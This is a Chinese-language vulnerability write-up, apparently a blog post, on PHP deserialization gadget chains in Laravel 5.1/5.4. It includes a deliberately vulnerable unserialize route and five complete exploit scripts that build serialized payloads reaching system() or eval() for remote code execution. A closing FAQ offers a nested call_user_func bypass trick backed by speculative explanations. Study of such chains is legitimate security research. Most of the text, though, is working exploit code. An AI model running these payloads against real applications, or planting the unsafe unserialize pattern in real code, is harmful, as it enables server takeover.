laravel5.1反序列化
字数 1471 2025-08-06 18:07:47

Laravel 5.1 反序列化漏洞分析与利用

环境搭建

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
# 实际下载版本为5.4.30

# 添加测试路由(routes/web.php)
Route::get('/index', function() {
    $payload = $_GET['cmd'];
    echo $payload;
    echo '<br>';
    unserialize($payload);
    return 'hello binbin';
});

漏洞链分析

链子1: Swift_Transport_AbstractSmtpTransport 入口

调用链:
__destruct() -> stop() -> __call() -> RCE

  1. 入口点: Swift_Transport_AbstractSmtpTransport::__destruct()

    public function __destruct() {
        try {
            $this->stop();
        } catch (Exception $e) {}
    }
    
  2. stop() 方法:

    public function stop() {
        if ($this->_started) {
            if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) { // 触发__call
                $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped');
                if ($evt->bubbleCancelled()) {
                    return;
                }
            }
            // ...其他代码...
        }
        $this->_started = false;
    }
    
  3. 利用 ValidGenerator::__call():

    public function __call($name, $arguments) {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));
        return $res;
    }
    
  4. DefaultGenerator::__call() 提供可控返回值:

    public function __call($method, $attributes) {
        return $this->default;
    }
    

EXP:

<?php
namespace Faker {
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($generator, $validator, $maxRetries) {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
    
    class DefaultGenerator {
        protected $default;
        public function __construct($default) {
            $this->default = $default;
        }
    }
}

namespace {
    use Faker\DefaultGenerator;
    use Faker\ValidGenerator;
    class Swift_Transport_EsmtpTransport {
        protected $_started = true;
        protected $_eventDispatcher;
        public function __construct($_started, $_eventDispatcher) {
            $this->_started = $_started;
            $this->_eventDispatcher = $_eventDispatcher;
        }
    }
    
    $defaultGenerator = new DefaultGenerator("whoami");
    $validGenerator = new ValidGenerator($defaultGenerator, "system", 9);
    $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $validGenerator);
    echo urlencode(serialize($swift_Transport_EsmtpTransport));
}

链子2: Swift_KeyCache_DiskKeyCache 入口

调用链:
__destruct() -> clearAll() -> clearKey() -> hasKey() -> is_file() -> __toString() -> getName() -> __call() -> RCE

  1. 入口点: Swift_KeyCache_DiskKeyCache::__destruct()

    public function __destruct() {
        foreach ($this->_keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }
    
  2. clearAll() 方法:

    public function clearAll($nsKey) {
        if (array_key_exists($nsKey, $this->_keys)) {
            foreach ($this->_keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            // ...其他代码...
        }
    }
    
  3. clearKey() 方法:

    public function clearKey($nsKey, $itemKey) {
        if ($this->hasKey($nsKey, $itemKey)) {
            $this->_freeHandle($nsKey, $itemKey);
            unlink($this->_path . '/' . $nsKey . '/' . $itemKey);
        }
    }
    
  4. hasKey() 方法触发 __toString:

    public function hasKey($nsKey, $itemKey) {
        return is_file($this->_path . '/' . $nsKey . '/' . $itemKey);
    }
    
  5. DefinedTargetClass::__toString():

    public function __toString() {
        return $this->getName();
    }
    
    public function getName() {
        return $this->rfc->getName(); // 触发__call
    }
    

EXP:

<?php
namespace Faker {
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($generator, $validator, $maxRetries) {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
    
    class DefaultGenerator {
        protected $default;
        public function __construct($default) {
            $this->default = $default;
        }
    }
}

namespace Mockery\Generator {
    class DefinedTargetClass {
        private $rfc;
        public function __construct($rfc) {
            $this->rfc = $rfc;
        }
    }
}

namespace {
    use Faker\DefaultGenerator;
    use Faker\ValidGenerator;
    use Mockery\Generator\DefinedTargetClass;
    class Swift_KeyCache_DiskKeyCache {
        private $_keys;
        private $_path;
        public function __construct($_keys, $_path) {
            $this->_keys = $_keys;
            $this->_path = $_path;
        }
    }
    
    $defaultGenerator = new DefaultGenerator("whoami");
    $validGenerator = new ValidGenerator($defaultGenerator, "system", 3);
    $definedTargetClass = new DefinedTargetClass($validGenerator);
    $swift_KeyCache_DiskKeyCache = new Swift_KeyCache_DiskKeyCache(array("binbin" => array("binbin", "binbin")), $definedTargetClass);
    echo urlencode(serialize($swift_KeyCache_DiskKeyCache));
}

链子3: WindowsPipes 入口

调用链:
__destruct() -> removeFiles() -> file_exists() -> __toString() -> 后续与链子2相同

  1. 入口点: WindowsPipes::__destruct()
    public function __destruct() {
        $this->close();
        $this->removeFiles();
    }
    
    private function removeFiles() {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) { // 触发__toString
                @unlink($filename);
            }
        }
        $this->files = array();
    }
    

EXP:

<?php
namespace Faker {
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($generator, $validator, $maxRetries) {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
    
    class DefaultGenerator {
        protected $default;
        public function __construct($default) {
            $this->default = $default;
        }
    }
}

namespace Mockery\Generator {
    class DefinedTargetClass {
        private $rfc;
        public function __construct($rfc) {
            $this->rfc = $rfc;
        }
    }
}

namespace Symfony\Component\Process\Pipes {
    class WindowsPipes {
        private $files;
        public function __construct($files) {
            $this->files = $files;
        }
    }
}

namespace {
    use Faker\DefaultGenerator;
    use Faker\ValidGenerator;
    use Mockery\Generator\DefinedTargetClass;
    use Symfony\Component\Process\Pipes\WindowsPipes;
    
    $defaultGenerator = new DefaultGenerator("whoami");
    $validGenerator = new ValidGenerator($defaultGenerator, "system", 3);
    $definedTargetClass = new DefinedTargetClass($validGenerator);
    $windowsPipes = new WindowsPipes(array($definedTargetClass));
    echo urlencode(serialize($windowsPipes));
}

链子4: DatabaseManager 利用

调用链:
__destruct() -> stop() -> __call() -> connection() -> makeConnection() -> call_user_func()

  1. DatabaseManager::__call():

    public function __call($method, $parameters) {
        return call_user_func_array([$this->connection(), $method], $parameters);
    }
    
  2. makeConnection() 中的关键调用:

    protected function makeConnection($name) {
        $config = $this->getConfig($name);
        if (isset($this->extensions[$name])) {
            return call_user_func($this->extensions[$name], $config, $name); // RCE点
        }
        // ...其他代码...
    }
    

EXP:

<?php
namespace Illuminate\Database {
    class DatabaseManager {
        protected $app;
        protected $extensions;
        public function __construct() {
            $this->app['config']['database.default'] = "whoami";
            $this->app['config']['database.connections'] = array("whoami" => "system");
            $this->extensions = array("whoami" => "call_user_func");
        }
    }
}

namespace {
    use Illuminate\Database\DatabaseManager;
    class Swift_Transport_EsmtpTransport {
        protected $_started = true;
        protected $_eventDispatcher;
        public function __construct($_started, $_eventDispatcher) {
            $this->_started = $_started;
            $this->_eventDispatcher = $_eventDispatcher;
        }
    }
    
    $databaseManager = new DatabaseManager();
    $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager);
    echo urlencode(serialize($swift_Transport_EsmtpTransport));
}

链子5: Validator 利用

调用链:
__destruct() -> removeFiles() -> file_exists() -> __toString() -> getName() -> __call() -> callExtension() -> callClassBasedExtension() -> make() -> eval()

  1. Validator::__call():

    public function __call($method, $parameters) {
        $rule = Str::snake(substr($method, 8));
        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }
        throw new BadMethodCallException("Method [$method] does not exist.");
    }
    
    protected function callClassBasedExtension($callback, $parameters) {
        list($class, $method) = explode('@', $callback);
        return call_user_func_array([$this->container->make($class), $method], $parameters);
    }
    
  2. EvalLoader 利用:

    class EvalLoader implements Loader {
        public function load(MockDefinition $definition) {
            if (class_exists($definition->getClassName(), false)) {
                return;
            }
            eval("?>" . $definition->getCode());
        }
    }
    

EXP:

<?php
namespace Prophecy\Argument\Token {
    class ObjectStateToken {
        private $value;
        private $util;
        public function __construct($value, $util) {
            $this->value = $value;
            $this->util = $util;
        }
    }
}

namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($default) {
            $this->default = $default;
        }
    }
}

namespace Symfony\Component\Process\Pipes {
    class WindowsPipes {
        private $files;
        public function __construct($files) {
            $this->files = $files;
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Validation {
    class Validator {
        protected $extensions;
        protected $container;
        public function __construct($extensions, $container) {
            $this->extensions = $extensions;
            $this->container = $container;
        }
    }
}

namespace Mockery\Generator {
    use Faker\DefaultGenerator;
    use Mockery\Loader\EvalLoader;
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct($config) {
            $this->config = $config;
            $this->code = '<?php var_dump(system("whoami"));';
        }
    }
}

namespace {
    use Faker\DefaultGenerator;
    use Illuminate\Validation\Validator;
    use Mockery\Generator\MockDefinition;
    use Mockery\Loader\EvalLoader;
    use Prophecy\Argument\Token\ObjectStateToken;
    use Symfony\Component\Process\Pipes\WindowsPipes;
    
    $evalLoader = new EvalLoader();
    $defaultGenerator1 = new DefaultGenerator("binbin");
    $mockDefinition = new MockDefinition($defaultGenerator1);
    $defaultGenerator = new DefaultGenerator($evalLoader);
    $validator = new Validator(array("y" => "binbin@load"), $defaultGenerator);
    $objectStateToken = new ObjectStateToken($mockDefinition, $validator);
    $windowsPipes = new WindowsPipes(array($objectStateToken));
    echo urlencode(serialize($windowsPipes));
}

常见问题解答

Q: 为什么链子4中直接使用system()作为回调函数在反序列化时不可用?

A: 虽然call_user_func("system", "calc", "binbin")在测试时可以正常工作,但在反序列化环境中可能由于以下原因失败:

  1. 环境限制或安全配置阻止了直接系统命令执行
  2. 参数传递方式在反序列化过程中发生了变化
  3. Laravel框架自身的防护机制

更可靠的方式是使用call_user_func("call_user_func", "system", "calc")这种嵌套调用方式,因为它更符合框架内部的调用流程,且能绕过某些限制。

Laravel 5.1 反序列化漏洞分析与利用 环境搭建 漏洞链分析 链子1: Swift_ Transport_ AbstractSmtpTransport 入口 调用链 : __destruct() -> stop() -> __call() -> RCE 入口点 : Swift_Transport_AbstractSmtpTransport::__destruct() stop() 方法 : 利用 ValidGenerator::__ call() : DefaultGenerator::__ call() 提供可控返回值 : EXP : 链子2: Swift_ KeyCache_ DiskKeyCache 入口 调用链 : __destruct() -> clearAll() -> clearKey() -> hasKey() -> is_file() -> __toString() -> getName() -> __call() -> RCE 入口点 : Swift_KeyCache_DiskKeyCache::__destruct() clearAll() 方法 : clearKey() 方法 : hasKey() 方法触发 __ toString : DefinedTargetClass::__ toString() : EXP : 链子3: WindowsPipes 入口 调用链 : __destruct() -> removeFiles() -> file_exists() -> __toString() -> 后续与链子2相同 入口点 : WindowsPipes::__destruct() EXP : 链子4: DatabaseManager 利用 调用链 : __destruct() -> stop() -> __call() -> connection() -> makeConnection() -> call_user_func() DatabaseManager::__ call() : makeConnection() 中的关键调用 : EXP : 链子5: Validator 利用 调用链 : __destruct() -> removeFiles() -> file_exists() -> __toString() -> getName() -> __call() -> callExtension() -> callClassBasedExtension() -> make() -> eval() Validator::__ call() : EvalLoader 利用 : EXP : 常见问题解答 Q: 为什么链子4中直接使用system()作为回调函数在反序列化时不可用? A: 虽然 call_user_func("system", "calc", "binbin") 在测试时可以正常工作,但在反序列化环境中可能由于以下原因失败: 环境限制或安全配置阻止了直接系统命令执行 参数传递方式在反序列化过程中发生了变化 Laravel框架自身的防护机制 更可靠的方式是使用 call_user_func("call_user_func", "system", "calc") 这种嵌套调用方式,因为它更符合框架内部的调用流程,且能绕过某些限制。